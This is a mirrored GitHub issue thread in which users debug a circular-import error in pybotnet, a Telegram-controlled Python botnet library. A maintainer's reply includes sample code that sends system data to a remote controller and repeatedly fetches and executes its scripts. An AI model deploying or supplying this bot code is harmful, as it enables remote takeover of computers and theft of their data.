Giter Site home page Giter Site logo

ImportError about pybotnet HOT 13 CLOSED

onionj avatar onionj commented on June 13, 2024
ImportError

from pybotnet.

Comments (13)

SepehrRasouli avatar SepehrRasouli commented on June 13, 2024

Did you install pybotnet with pip or Did you try to import from the pybotnet directory ?
Could you elaborate a little bit more ?

from pybotnet.

Ali-Imangholi avatar Ali-Imangholi commented on June 13, 2024

Thanks for your responding.
For first time I used pip but it showed the error which I send it above and second time I used Pycharm and its package manager and again it showed the same error.

from pybotnet.

SepehrRasouli avatar SepehrRasouli commented on June 13, 2024

from pybotnet.

Ali-Imangholi avatar Ali-Imangholi commented on June 13, 2024

Unfortunately, it did not work.

from pybotnet.

SepehrRasouli avatar SepehrRasouli commented on June 13, 2024

Could you plesae send the errors?

from pybotnet.

Ali-Imangholi avatar Ali-Imangholi commented on June 13, 2024

Traceback (most recent call last):
File "xxxxxxxx", line 1, in
from pybotnet import utils
File "xxxxxxxx\Python\Python39\lib\site-packages\pybotnet_init_.py", line 1, in
from .pybotnet import PyBotNet
File "xxxxxxxx\Python\Python39\lib\site-packages\pybotnet\pybotnet.py", line 2, in
from . import util
ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) (xxxxxxxx\Python\Python39\lib\site-packages\pybotnet_init_.py)

from pybotnet.

onionj avatar onionj commented on June 13, 2024

I checked the following codes on Windows 10 and Debin 11 and they worked properly

from pybotnet import pybotnet
import time

TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
ADMIN_CHAT_ID = '12345678910'

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)
from pybotnet import PyBotNet
import time

TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
ADMIN_CHAT_ID = '12345678910'

bot = PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

If you send your ‍‍‍code, file name and operating system, I may be able to help

from pybotnet.

Ali-Imangholi avatar Ali-Imangholi commented on June 13, 2024

I just had copied your sample code and then it had "circular import" error.
I use windows10.

from pybotnet.

onionj avatar onionj commented on June 13, 2024

The file name is also important

from pybotnet.

Ali-Imangholi avatar Ali-Imangholi commented on June 13, 2024

It is "bot.py"

from pybotnet.

SepehrRasouli avatar SepehrRasouli commented on June 13, 2024

I can't recreate this error to fix it , i tried it on ubuntu vm and on my own machine and it worked correctly on both.
Are you sure the problem is not from your side ? Can you run it on another machine to help us recreate it ?

from pybotnet.

Ali-Imangholi avatar Ali-Imangholi commented on June 13, 2024

It became correct when I download it from GitHub.

from pybotnet.

SepehrRasouli avatar SepehrRasouli commented on June 13, 2024

Interesting.
Are you sure your python is configured correctly ? Can you test it on another computer ?
Downloading pybotnet from github doesn't install it on your computer , so the problem might be from your side.

from pybotnet.

Related Issues (15)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.